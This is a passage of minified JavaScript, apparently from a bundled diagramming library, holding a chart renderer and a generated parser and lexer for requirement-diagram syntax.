S=v(T.groupTexts);switch(T.type){case"rect":if(S.selectAll("rect").data(T.data).enter().append("rect").attr("x",w=>w.x).attr("y",w=>w.y).attr("width",w=>w.width).attr("height",w=>w.height).attr("fill",w=>w.fill).attr("stroke",w=>w.strokeFill).attr("stroke-width",w=>w.strokeWidth),s.showDataLabel)if(s.chartOrientation==="horizontal"){let A=function(I,L){let{data:E,label:D}=I;return L*D.length*.7<=E.width-10};var x=A;o(A,"fitsHorizontally");let w=.7,k=T.data.map((I,L)=>({data:I,label:l[L].toString()})).filter(I=>I.data.width>0&&I.data.height>0),C=k.map(I=>{let{data:L}=I,E=L.height*.7;for(;!A(I,E)&&E>0;)E-=1;return E}),R=Math.floor(Math.min(...C));S.selectAll("text").data(k).enter().append("text").attr("x",I=>I.data.x+I.data.width-10).attr("y",I=>I.data.y+I.data.height/2).attr("text-anchor","end").attr("dominant-baseline","middle").attr("fill","black").attr("font-size",`${R}px`).text(I=>I.label)}else{let A=function(I,L,E){let{data:D,label:_}=I,M=L*_.length*.7,P=D.x+D.width/2,B=P-M/2,F=P+M/2,G=B>=D.x&&F<=D.x+D.width,$=D.y+E+L<=D.y+D.height;return G&&$};var b=A;o(A,"fitsInBar");let w=10,k=T.data.map((I,L)=>({data:I,label:l[L].toString()})).filter(I=>I.data.width>0&&I.data.height>0),C=k.map(I=>{let{data:L,label:E}=I,D=L.width/(E.length*.7);for(;!A(I,D,10)&&D>0;)D-=1;return D}),R=Math.floor(Math.min(...C));S.selectAll("text").data(k).enter().append("text").attr("x",I=>I.data.x+I.data.width/2).attr("y",I=>I.data.y+10).attr("text-anchor","middle").attr("dominant-baseline","hanging").attr("fill","black").attr("font-size",`${R}px`).text(I=>I.label)}break;case"text":S.selectAll("text").data(T.data).enter().append("text").attr("x",0).attr("y",0).attr("fill",w=>w.fill).attr("font-size",w=>w.fontSize).attr("dominant-baseline",w=>u(w.verticalPos)).attr("text-anchor",w=>h(w.horizontalPos)).attr("transform",w=>f(w)).text(w=>w.text);break;case"path":S.selectAll("path").data(T.data).enter().append("path").attr("d",w=>w.path).attr("fill",w=>w.fill?w.fill:"none").attr("stroke",w=>w.strokeFill).attr("stroke-width",w=>w.strokeWidth);break}}},"draw"),yye={draw:BZe}});var xye={};dr(xye,{diagram:()=>FZe});var FZe,bye=N(()=>{"use strict";K1e();gye();vye();FZe={parser:j1e,db:mye,renderer:yye}});var QF,kye,Eye=N(()=>{"use strict";QF=(function(){var t=o(function(fe,xe,W,he){for(W=W||{},he=fe.length;he--;W[fe[he]]=xe);return W},"o"),e=[1,3],r=[1,4],n=[1,5],i=[1,6],a=[5,6,8,9,11,13,21,22,23,24,41,42,43,44,45,46,54,72,74,77,89,90],s=[1,22],l=[2,7],u=[1,26],h=[1,27],f=[1,28],d=[1,29],p=[1,33],m=[1,34],g=[1,35],y=[1,36],v=[1,37],x=[1,38],b=[1,24],T=[1,31],S=[1,32],w=[1,30],k=[1,39],A=[1,40],C=[5,8,9,11,13,21,22,23,24,41,42,43,44,45,46,54,72,74,77,89,90],R=[1,61],I=[89,90],L=[5,8,9,11,13,21,22,23,24,27,29,41,42,43,44,45,46,54,61,63,72,74,75,76,77,80,81,82,83,84,85,86,87,88,89,90],E=[27,29],D=[1,70],_=[1,71],O=[1,72],M=[1,73],P=[1,74],B=[1,75],F=[1,76],G=[1,83],$=[1,80],U=[1,84],j=[1,85],te=[1,86],Y=[1,87],oe=[1,88],J=[1,89],ue=[1,90],re=[1,91],ee=[1,92],Z=[5,8,9,11,13,21,22,23,24,27,41,42,43,44,45,46,54,72,74,75,76,77,80,81,82,83,84,85,86,87,88,89,90],K=[63,64],ae=[1,101],Q=[5,8,9,11,13,21,22,23,24,41,42,43,44,45,46,54,72,74,76,77,89,90],de=[5,8,9,11,13,21,22,23,24,41,42,43,44,45,46,54,72,74,75,76,77,80,81,82,83,84,85,86,87,88,89,90],ne=[1,110],Te=[1,106],q=[1,107],Ve=[1,108],pe=[1,109],Be=[1,111],Ye=[1,116],He=[1,117],Le=[1,114],Ie=[1,115],Ne={trace:o(function(){},"trace"),yy:{},symbols_:{error:2,start:3,directive:4,NEWLINE:5,RD:6,diagram:7,EOF:8,acc_title:9,acc_title_value:10,acc_descr:11,acc_descr_value:12,acc_descr_multiline_value:13,requirementDef:14,elementDef:15,relationshipDef:16,direction:17,styleStatement:18,classDefStatement:19,classStatement:20,direction_tb:21,direction_bt:22,direction_rl:23,direction_lr:24,requirementType:25,requirementName:26,STRUCT_START:27,requirementBody:28,STYLE_SEPARATOR:29,idList:30,ID:31,COLONSEP:32,id:33,TEXT:34,text:35,RISK:36,riskLevel:37,VERIFYMTHD:38,verifyType:39,STRUCT_STOP:40,REQUIREMENT:41,FUNCTIONAL_REQUIREMENT:42,INTERFACE_REQUIREMENT:43,PERFORMANCE_REQUIREMENT:44,PHYSICAL_REQUIREMENT:45,DESIGN_CONSTRAINT:46,LOW_RISK:47,MED_RISK:48,HIGH_RISK:49,VERIFY_ANALYSIS:50,VERIFY_DEMONSTRATION:51,VERIFY_INSPECTION:52,VERIFY_TEST:53,ELEMENT:54,elementName:55,elementBody:56,TYPE:57,type:58,DOCREF:59,ref:60,END_ARROW_L:61,relationship:62,LINE:63,END_ARROW_R:64,CONTAINS:65,COPIES:66,DERIVES:67,SATISFIES:68,VERIFIES:69,REFINES:70,TRACES:71,CLASSDEF:72,stylesOpt:73,CLASS:74,ALPHA:75,COMMA:76,STYLE:77,style:78,styleComponent:79,NUM:80,COLON:81,UNIT:82,SPACE:83,BRKT:84,PCT:85,MINUS:86,LABEL:87,SEMICOLON:88,unqString:89,qString:90,$accept:0,$end:1},terminals_:{2:"error",5:"NEWLINE",6:"RD",8:"EOF",9:"acc_title",10:"acc_title_value",11:"acc_descr",12:"acc_descr_value",13:"acc_descr_multiline_value",21:"direction_tb",22:"direction_bt",23:"direction_rl",24:"direction_lr",27:"STRUCT_START",29:"STYLE_SEPARATOR",31:"ID",32:"COLONSEP",34:"TEXT",36:"RISK",38:"VERIFYMTHD",40:"STRUCT_STOP",41:"REQUIREMENT",42:"FUNCTIONAL_REQUIREMENT",43:"INTERFACE_REQUIREMENT",44:"PERFORMANCE_REQUIREMENT",45:"PHYSICAL_REQUIREMENT",46:"DESIGN_CONSTRAINT",47:"LOW_RISK",48:"MED_RISK",49:"HIGH_RISK",50:"VERIFY_ANALYSIS",51:"VERIFY_DEMONSTRATION",52:"VERIFY_INSPECTION",53:"VERIFY_TEST",54:"ELEMENT",57:"TYPE",59:"DOCREF",61:"END_ARROW_L",63:"LINE",64:"END_ARROW_R",65:"CONTAINS",66:"COPIES",67:"DERIVES",68:"SATISFIES",69:"VERIFIES",70:"REFINES",71:"TRACES",72:"CLASSDEF",74:"CLASS",75:"ALPHA",76:"COMMA",77:"STYLE",80:"NUM",81:"COLON",82:"UNIT",83:"SPACE",84:"BRKT",85:"PCT",86:"MINUS",87:"LABEL",88:"SEMICOLON",89:"unqString",90:"qString"},productions_:[0,[3,3],[3,2],[3,4],[4,2],[4,2],[4,1],[7,0],[7,2],[7,2],[7,2],[7,2],[7,2],[7,2],[7,2],[7,2],[7,2],[17,1],[17,1],[17,1],[17,1],[14,5],[14,7],[28,5],[28,5],[28,5],[28,5],[28,2],[28,1],[25,1],[25,1],[25,1],[25,1],[25,1],[25,1],[37,1],[37,1],[37,1],[39,1],[39,1],[39,1],[39,1],[15,5],[15,7],[56,5],[56,5],[56,2],[56,1],[16,5],[16,5],[62,1],[62,1],[62,1],[62,1],[62,1],[62,1],[62,1],[19,3],[20,3],[20,3],[30,1],[30,3],[30,1],[30,3],[18,3],[73,1],[73,3],[78,1],[78,2],[79,1],[79,1],[79,1],[79,1],[79,1],[79,1],[79,1],[79,1],[79,1],[79,1],[26,1],[26,1],[33,1],[33,1],[35,1],[35,1],[55,1],[55,1],[58,1],[58,1],[60,1],[60,1]],performAction:o(function(xe,W,he,z,se,le,ke){var ve=le.length-1;switch(se){case 4:this.$=le[ve].trim(),z.setAccTitle(this.$);break;case 5:case 6:this.$=le[ve].trim(),z.setAccDescription(this.$);break;case 7:this.$=[];break;case 17:z.setDirection("TB");break;case 18:z.setDirection("BT");break;case 19:z.setDirection("RL");break;case 20:z.setDirection("LR");break;case 21:z.addRequirement(le[ve-3],le[ve-4]);break;case 22:z.addRequirement(le[ve-5],le[ve-6]),z.setClass([le[ve-5]],le[ve-3]);break;case 23:z.setNewReqId(le[ve-2]);break;case 24:z.setNewReqText(le[ve-2]);break;case 25:z.setNewReqRisk(le[ve-2]);break;case 26:z.setNewReqVerifyMethod(le[ve-2]);break;case 29:this.$=z.RequirementType.REQUIREMENT;break;case 30:this.$=z.RequirementType.FUNCTIONAL_REQUIREMENT;break;case 31:this.$=z.RequirementType.INTERFACE_REQUIREMENT;break;case 32:this.$=z.RequirementType.PERFORMANCE_REQUIREMENT;break;case 33:this.$=z.RequirementType.PHYSICAL_REQUIREMENT;break;case 34:this.$=z.RequirementType.DESIGN_CONSTRAINT;break;case 35:this.$=z.RiskLevel.LOW_RISK;break;case 36:this.$=z.RiskLevel.MED_RISK;break;case 37:this.$=z.RiskLevel.HIGH_RISK;break;case 38:this.$=z.VerifyType.VERIFY_ANALYSIS;break;case 39:this.$=z.VerifyType.VERIFY_DEMONSTRATION;break;case 40:this.$=z.VerifyType.VERIFY_INSPECTION;break;case 41:this.$=z.VerifyType.VERIFY_TEST;break;case 42:z.addElement(le[ve-3]);break;case 43:z.addElement(le[ve-5]),z.setClass([le[ve-5]],le[ve-3]);break;case 44:z.setNewElementType(le[ve-2]);break;case 45:z.setNewElementDocRef(le[ve-2]);break;case 48:z.addRelationship(le[ve-2],le[ve],le[ve-4]);break;case 49:z.addRelationship(le[ve-2],le[ve-4],le[ve]);break;case 50:this.$=z.Relationships.CONTAINS;break;case 51:this.$=z.Relationships.COPIES;break;case 52:this.$=z.Relationships.DERIVES;break;case 53:this.$=z.Relationships.SATISFIES;break;case 54:this.$=z.Relationships.VERIFIES;break;case 55:this.$=z.Relationships.REFINES;break;case 56:this.$=z.Relationships.TRACES;break;case 57:this.$=le[ve-2],z.defineClass(le[ve-1],le[ve]);break;case 58:z.setClass(le[ve-1],le[ve]);break;case 59:z.setClass([le[ve-2]],le[ve]);break;case 60:case 62:this.$=[le[ve]];break;case 61:case 63:this.$=le[ve-2].concat([le[ve]]);break;case 64:this.$=le[ve-2],z.setCssStyle(le[ve-1],le[ve]);break;case 65:this.$=[le[ve]];break;case 66:le[ve-2].push(le[ve]),this.$=le[ve-2];break;case 68:this.$=le[ve-1]+le[ve];break}},"anonymous"),table:[{3:1,4:2,6:e,9:r,11:n,13:i},{1:[3]},{3:8,4:2,5:[1,7],6:e,9:r,11:n,13:i},{5:[1,9]},{10:[1,10]},{12:[1,11]},t(a,[2,6]),{3:12,4:2,6:e,9:r,11:n,13:i},{1:[2,2]},{4:17,5:s,7:13,8:l,9:r,11:n,13:i,14:14,15:15,16:16,17:18,18:19,19:20,20:21,21:u,22:h,23:f,24:d,25:23,33:25,41:p,42:m,43:g,44:y,45:v,46:x,54:b,72:T,74:S,77:w,89:k,90:A},t(a,[2,4]),t(a,[2,5]),{1:[2,1]},{8:[1,41]},{4:17,5:s,7:42,8:l,9:r,11:n,13:i,14:14,15:15,16:16,17:18,18:19,19:20,20:21,21:u,22:h,23:f,24:d,25:23,33:25,41:p,42:m,43:g,44:y,45:v,46:x,54:b,72:T,74:S,77:w,89:k,90:A},{4:17,5:s,7:43,8:l,9:r,11:n,13:i,14:14,15:15,16:16,17:18,18:19,19:20,20:21,21:u,22:h,23:f,24:d,25:23,33:25,41:p,42:m,43:g,44:y,45:v,46:x,54:b,72:T,74:S,77:w,89:k,90:A},{4:17,5:s,7:44,8:l,9:r,11:n,13:i,14:14,15:15,16:16,17:18,18:19,19:20,20:21,21:u,22:h,23:f,24:d,25:23,33:25,41:p,42:m,43:g,44:y,45:v,46:x,54:b,72:T,74:S,77:w,89:k,90:A},{4:17,5:s,7:45,8:l,9:r,11:n,13:i,14:14,15:15,16:16,17:18,18:19,19:20,20:21,21:u,22:h,23:f,24:d,25:23,33:25,41:p,42:m,43:g,44:y,45:v,46:x,54:b,72:T,74:S,77:w,89:k,90:A},{4:17,5:s,7:46,8:l,9:r,11:n,13:i,14:14,15:15,16:16,17:18,18:19,19:20,20:21,21:u,22:h,23:f,24:d,25:23,33:25,41:p,42:m,43:g,44:y,45:v,46:x,54:b,72:T,74:S,77:w,89:k,90:A},{4:17,5:s,7:47,8:l,9:r,11:n,13:i,14:14,15:15,16:16,17:18,18:19,19:20,20:21,21:u,22:h,23:f,24:d,25:23,33:25,41:p,42:m,43:g,44:y,45:v,46:x,54:b,72:T,74:S,77:w,89:k,90:A},{4:17,5:s,7:48,8:l,9:r,11:n,13:i,14:14,15:15,16:16,17:18,18:19,19:20,20:21,21:u,22:h,23:f,24:d,25:23,33:25,41:p,42:m,43:g,44:y,45:v,46:x,54:b,72:T,74:S,77:w,89:k,90:A},{4:17,5:s,7:49,8:l,9:r,11:n,13:i,14:14,15:15,16:16,17:18,18:19,19:20,20:21,21:u,22:h,23:f,24:d,25:23,33:25,41:p,42:m,43:g,44:y,45:v,46:x,54:b,72:T,74:S,77:w,89:k,90:A},{4:17,5:s,7:50,8:l,9:r,11:n,13:i,14:14,15:15,16:16,17:18,18:19,19:20,20:21,21:u,22:h,23:f,24:d,25:23,33:25,41:p,42:m,43:g,44:y,45:v,46:x,54:b,72:T,74:S,77:w,89:k,90:A},{26:51,89:[1,52],90:[1,53]},{55:54,89:[1,55],90:[1,56]},{29:[1,59],61:[1,57],63:[1,58]},t(C,[2,17]),t(C,[2,18]),t(C,[2,19]),t(C,[2,20]),{30:60,33:62,75:R,89:k,90:A},{30:63,33:62,75:R,89:k,90:A},{30:64,33:62,75:R,89:k,90:A},t(I,[2,29]),t(I,[2,30]),t(I,[2,31]),t(I,[2,32]),t(I,[2,33]),t(I,[2,34]),t(L,[2,81]),t(L,[2,82]),{1:[2,3]},{8:[2,8]},{8:[2,9]},{8:[2,10]},{8:[2,11]},{8:[2,12]},{8:[2,13]},{8:[2,14]},{8:[2,15]},{8:[2,16]},{27:[1,65],29:[1,66]},t(E,[2,79]),t(E,[2,80]),{27:[1,67],29:[1,68]},t(E,[2,85]),t(E,[2,86]),{62:69,65:D,66:_,67:O,68:M,69:P,70:B,71:F},{62:77,65:D,66:_,67:O,68:M,69:P,70:B,71:F},{30:78,33:62,75:R,89:k,90:A},{73:79,75:G,76:$,78:81,79:82,80:U,81:j,82:te,83:Y,84:oe,85:J,86:ue,87:re,88:ee},t(Z,[2,60]),t(Z,[2,62]),{73:93,75:G,76:$,78:81,79:82,80:U,81:j,82:te,83:Y,84:oe,85:J,86:ue,87:re,88:ee},{30:94,33:62,75:R,76:$,89:k,90:A},{5:[1,95]},{30:96,33:62,75:R,89:k,90:A},{5:[1,97]},{30:98,33:62,75:R,89:k,90:A},{63:[1,99]},t(K,[2,50]),t(K,[2,51]),t(K,[2,52]),t(K,[2,53]),t(K,[2,54]),t(K,[2,55]),t(K,[2,56]),{64:[1,100]},t(C,[2,59],{76:$}),t(C,[2,64],{76:ae}),{33:103,75:[1,102],89:k,90:A},t(Q,[2,65],{79:104,75:G,80:U,81:j,82:te,83:Y,84:oe,85:J,86:ue,87:re,88:ee}),t(de,[2,67]),t(de,[2,69]),t(de,[2,70]),t(de,[2,71]),t(de,[2,72]),t(de,[2,73]),t(de,[2,74]),t(de,[2,75]),t(de,[2,76]),t(de,[2,77]),t(de,[2,78]),t(C,[2,57],{76:ae}),t(C,[2,58],{76:$}),{5:ne,28:105,31:Te,34:q,36:Ve,38:pe,40:Be},{27:[1,112],76:$},{5:Ye,40:He,56:113,57:Le,59:Ie},{27:[1,118],76:$},{33:119,89:k,90:A},{33:120,89:k,90:A},{75:G,78:121,79:82,80:U,81:j,82:te,83:Y,84:oe,85:J,86:ue,87:re,88:ee},t(Z,[2,61]),t(Z,[2,63]),t(de,[2,68]),t(C,[2,21]),{32:[1,122]},{32:[1,123]},{32:[1,124]},{32:[1,125]},{5:ne,28:126,31:Te,34:q,36:Ve,38:pe,40:Be},t(C,[2,28]),{5:[1,127]},t(C,[2,42]),{32:[1,128]},{32:[1,129]},{5:Ye,40:He,56:130,57:Le,59:Ie},t(C,[2,47]),{5:[1,131]},t(C,[2,48]),t(C,[2,49]),t(Q,[2,66],{79:104,75:G,80:U,81:j,82:te,83:Y,84:oe,85:J,86:ue,87:re,88:ee}),{33:132,89:k,90:A},{35:133,89:[1,134],90:[1,135]},{37:136,47:[1,137],48:[1,138],49:[1,139]},{39:140,50:[1,141],51:[1,142],52:[1,143],53:[1,144]},t(C,[2,27]),{5:ne,28:145,31:Te,34:q,36:Ve,38:pe,40:Be},{58:146,89:[1,147],90:[1,148]},{60:149,89:[1,150],90:[1,151]},t(C,[2,46]),{5:Ye,40:He,56:152,57:Le,59:Ie},{5:[1,153]},{5:[1,154]},{5:[2,83]},{5:[2,84]},{5:[1,155]},{5:[2,35]},{5:[2,36]},{5:[2,37]},{5:[1,156]},{5:[2,38]},{5:[2,39]},{5:[2,40]},{5:[2,41]},t(C,[2,22]),{5:[1,157]},{5:[2,87]},{5:[2,88]},{5:[1,158]},{5:[2,89]},{5:[2,90]},t(C,[2,43]),{5:ne,28:159,31:Te,34:q,36:Ve,38:pe,40:Be},{5:ne,28:160,31:Te,34:q,36:Ve,38:pe,40:Be},{5:ne,28:161,31:Te,34:q,36:Ve,38:pe,40:Be},{5:ne,28:162,31:Te,34:q,36:Ve,38:pe,40:Be},{5:Ye,40:He,56:163,57:Le,59:Ie},{5:Ye,40:He,56:164,57:Le,59:Ie},t(C,[2,23]),t(C,[2,24]),t(C,[2,25]),t(C,[2,26]),t(C,[2,44]),t(C,[2,45])],defaultActions:{8:[2,2],12:[2,1],41:[2,3],42:[2,8],43:[2,9],44:[2,10],45:[2,11],46:[2,12],47:[2,13],48:[2,14],49:[2,15],50:[2,16],134:[2,83],135:[2,84],137:[2,35],138:[2,36],139:[2,37],141:[2,38],142:[2,39],143:[2,40],144:[2,41],147:[2,87],148:[2,88],150:[2,89],151:[2,90]},parseError:o(function(xe,W){if(W.recoverable)this.trace(xe);else{var he=new Error(xe);throw he.hash=W,he}},"parseError"),parse:o(function(xe){var W=this,he=[0],z=[],se=[null],le=[],ke=this.table,ve="",ye=0,Re=0,_e=0,ze=2,Ke=1,xt=le.slice.call(arguments,1),We=Object.create(this.lexer),Oe={yy:{}};for(var et in this.yy)Object.prototype.hasOwnProperty.call(this.yy,et)&&(Oe.yy[et]=this.yy[et]);We.setInput(xe,Oe.yy),Oe.yy.lexer=We,Oe.yy.parser=this,typeof We.yylloc>"u"&&(We.yylloc={});var Ue=We.yylloc;le.push(Ue);var lt=We.options&&We.options.ranges;typeof Oe.yy.parseError=="function"?this.parseError=Oe.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;function Gt(ar){he.length=he.length-2*ar,se.length=se.length-ar,le.length=le.length-ar}o(Gt,"popStack");function vt(){var ar;return ar=z.pop()||We.lex()||Ke,typeof ar!="number"&&(ar instanceof Array&&(z=ar,ar=z.pop()),ar=W.symbols_[ar]||ar),ar}o(vt,"lex");for(var Lt,dt,nt,bt,wt,yt,ft={},Ur,_t,bn,Br;;){if(nt=he[he.length-1],this.defaultActions[nt]?bt=this.defaultActions[nt]:((Lt===null||typeof Lt>"u")&&(Lt=vt()),bt=ke[nt]&&ke[nt][Lt]),typeof bt>"u"||!bt.length||!bt[0]){var cr="";Br=[];for(Ur in ke[nt])this.terminals_[Ur]&&Ur>ze&&Br.push("'"+this.terminals_[Ur]+"'");We.showPosition?cr="Parse error on line "+(ye+1)+`: +`+We.showPosition()+` +Expecting `+Br.join(", ")+", got '"+(this.terminals_[Lt]||Lt)+"'":cr="Parse error on line "+(ye+1)+": Unexpected "+(Lt==Ke?"end of input":"'"+(this.terminals_[Lt]||Lt)+"'"),this.parseError(cr,{text:We.match,token:this.terminals_[Lt]||Lt,line:We.yylineno,loc:Ue,expected:Br})}if(bt[0]instanceof Array&&bt.length>1)throw new Error("Parse Error: multiple actions possible at state: "+nt+", token: "+Lt);switch(bt[0]){case 1:he.push(Lt),se.push(We.yytext),le.push(We.yylloc),he.push(bt[1]),Lt=null,dt?(Lt=dt,dt=null):(Re=We.yyleng,ve=We.yytext,ye=We.yylineno,Ue=We.yylloc,_e>0&&_e--);break;case 2:if(_t=this.productions_[bt[1]][1],ft.$=se[se.length-_t],ft._$={first_line:le[le.length-(_t||1)].first_line,last_line:le[le.length-1].last_line,first_column:le[le.length-(_t||1)].first_column,last_column:le[le.length-1].last_column},lt&&(ft._$.range=[le[le.length-(_t||1)].range[0],le[le.length-1].range[1]]),yt=this.performAction.apply(ft,[ve,Re,ye,Oe.yy,bt[1],se,le].concat(xt)),typeof yt<"u")return yt;_t&&(he=he.slice(0,-1*_t*2),se=se.slice(0,-1*_t),le=le.slice(0,-1*_t)),he.push(this.productions_[bt[1]][0]),se.push(ft.$),le.push(ft._$),bn=ke[he[he.length-2]][he[he.length-1]],he.push(bn);break;case 3:return!0}}return!0},"parse")},Ce=(function(){var fe={EOF:1,parseError:o(function(W,he){if(this.yy.parser)this.yy.parser.parseError(W,he);else throw new Error(W)},"parseError"),setInput:o(function(xe,W){return this.yy=W||this.yy||{},this._input=xe,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},"setInput"),input:o(function(){var xe=this._input[0];this.yytext+=xe,this.yyleng++,this.offset++,this.match+=xe,this.matched+=xe;var W=xe.match(/(?:\r\n?|\n).*/g);return W?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),xe},"input"),unput:o(function(xe){var W=xe.length,he=xe.split(/(?:\r\n?|\n)/g);this._input=xe+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-W),this.offset-=W;var z=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),he.length-1&&(this.yylineno-=he.length-1);var se=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:he?(he.length===z.length?this.yylloc.first_column:0)+z[z.length-he.length].length-he[0].length:this.yylloc.first_column-W},this.options.ranges&&(this.yylloc.range=[se[0],se[0]+this.yyleng-W]),this.yyleng=this.yytext.length,this},"unput"),more:o(function(){return this._more=!0,this},"more"),reject:o(function(){if(this.options.backtrack_lexer)this._backtrack=!0;else return this.parseError("Lexical error on line "+(this.yylineno+1)+`. You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true). +`+this.showPosition(),{text:"",token:null,line:this.yylineno});return this},"reject"),less:o(function(xe){this.unput(this.match.slice(xe))},"less"),pastInput:o(function(){var xe=this.matched.substr(0,this.matched.length-this.match.length);return(xe.length>20?"...":"")+xe.substr(-20).replace(/\n/g,"")},"pastInput"),upcomingInput:o(function(){var xe=this.match;return xe.length<20&&(xe+=this._input.substr(0,20-xe.length)),(xe.substr(0,20)+(xe.length>20?"...":"")).replace(/\n/g,"")},"upcomingInput"),showPosition:o(function(){var xe=this.pastInput(),W=new Array(xe.length+1).join("-");return xe+this.upcomingInput()+` +`+W+"^"},"showPosition"),test_match:o(function(xe,W){var he,z,se;if(this.options.backtrack_lexer&&(se={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(se.yylloc.range=this.yylloc.range.slice(0))),z=xe[0].match(/(?:\r\n?|\n).*/g),z&&(this.yylineno+=z.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:z?z[z.length-1].length-z[z.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+xe[0].length},this.yytext+=xe[0],this.match+=xe[0],this.matches=xe,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(xe[0].length),this.matched+=xe[0],he=this.performAction.call(this,this.yy,this,W,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),he)return he;if(this._backtrack){for(var le in se)this[le]=se[le];return!1}return!1},"test_match"),next:o(function(){if(this.done)return this.EOF;this._input||(this.done=!0);var xe,W,he,z;this._more||(this.yytext="",this.match="");for(var se=this._currentRules(),le=0;leW[0].length)){if(W=he,z=le,this.options.backtrack_lexer){if(xe=this.test_match(he,se[le]),xe!==!1)return xe;if(this._backtrack){W=!1;continue}else return!1}else if(!this.options.flex)break}return W?(xe=this.test_match(W,se[z]),xe!==!1?xe:!1):this._input===""?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+`. Unrecognized text. +`+this.showPosition(),{text:"",token:null,line:this.yylineno})},"next"),lex:o(function(){var W=this.next();return W||this.lex()},"lex"),begin:o(function(W){this.conditionStack.push(W)},"begin"),popState:o(function(){var W=this.conditionStack.length-1;return W>0?this.conditionStack.pop():this.conditionStack[0]},"popState"),_currentRules:o(function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},"_currentRules"),topState:o(function(W){return W=this.conditionStack.length-1-Math.abs(W||0),W>=0?this.conditionStack[W]:"INITIAL"},"topState"),pushState:o(function(W){this.begin(W)},"pushState"),stateStackSize:o(function(){return this.conditionStack.length},"stateStackSize"),options:{"case-insensitive":!0},performAction:o(function(W,he,z,se){var le=se;switch(z){case 0:return"title";case 1:return this.begin("acc_title"),9;break;case 2:return this.popState(),"acc_title_value";break;case 3:return this.begin("acc_descr"),11;break;case 4:return this.popState(),"acc_descr_value";break;case 5:this.begin("acc_descr_multiline");break;case 6:this.popState();break;case 7:return"acc_descr_multiline_value";case 8:return 21;case 9:return 22;case 10:return 23;case 11:return 24;case 12:return 5;case 13:break;case 14:break;case 15:break;case 16:return 8;case 17:return 6;case 18:return 27;case 19:return 40;case 20:return 29;case 21:return 32;case 22:return 31;case 23:return 34;case 24:return 36;case 25:return 38;case 26:return 41;case 27:return 42;case 28:return 43;case 29:return 44;case 30:return 45;case 31:return 46;case 32:return 47;case 33:return 48;case 34:return 49;case 35:return 50;case 36:return 51;case 37:return 52;case 38:return 53;case 39:return 54;case 40:return 65;case 41:return 66;case 42:return 67;case 43:return 68;case 44:return 69;case 45:return 70;case 46:return 71;case 47:return 57;case 48:return 59;case 49:return this.begin("style"),77;break;case 50:return 75;case 51:return 81;case 52:return 88;case 53:return"PERCENT";case 54:return 86;case 55:return 84;case 56:break;case 57:this.begin("string");break;case 58:this.popState();break;case 59:return this.begin("style"),72;break;case 60:return this.begin("style"),74;break;case 61:return 61;case 62:return 64;case 63:return 63;case 64:this.begin("string");break;case 65:this.popState();break;case 66:return"qString";case 67:return he.yytext=he.yytext.trim(),89;break;case 68:return 75;case 69:return 80;case 70:return 76}},"anonymous"),rules:[/^(?:title\s[^#\n;]+)/i,/^(?:accTitle\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*\{\s*)/i,/^(?:[\}])/i,/^(?:[^\}]*)/i,/^(?:.*direction\s+TB[^\n]*)/i,/^(?:.*direction\s+BT[^\n]*)/i,/^(?:.*direction\s+RL[^\n]*)/i,/^(?:.*direction\s+LR[^\n]*)/i,/^(?:(\r?\n)+)/i,/^(?:\s+)/i,/^(?:#[^\n]*)/i,/^(?:%[^\n]*)/i,/^(?:$)/i,/^(?:requirementDiagram\b)/i,/^(?:\{)/i,/^(?:\})/i,/^(?::{3})/i,/^(?::)/i,/^(?:id\b)/i,/^(?:text\b)/i,/^(?:risk\b)/i,/^(?:verifyMethod\b)/i,/^(?:requirement\b)/i,/^(?:functionalRequirement\b)/i,/^(?:interfaceRequirement\b)/i,/^(?:performanceRequirement\b)/i,/^(?:physicalRequirement\b)/i,/^(?:designConstraint\b)/i,/^(?:low\b)/i,/^(?:medium\b)/i,/^(?:high\b)/i,/^(?:analysis\b)/i,/^(?:demonstration\b)/i,/^(?:inspection\b)/i,/^(?:test\b)/i,/^(?:element\b)/i,/^(?:contains\b)/i,/^(?:copies\b)/i,/^(?:derives\b)/i,/^(?:satisfies\b)/i,/^(?:verifies\b)/i,/^(?:refines\b)/i,/^(?:traces\b)/i,/^(?:type\b)/i,/^(?:docref\b)/i,/^(?:style\b)/i,/^(?:\w+)/i,/^(?::)/i,/^(?:;)/i,/^(?:%)/i,/^(?:-)/i,/^(?:#)/i,/^(?: 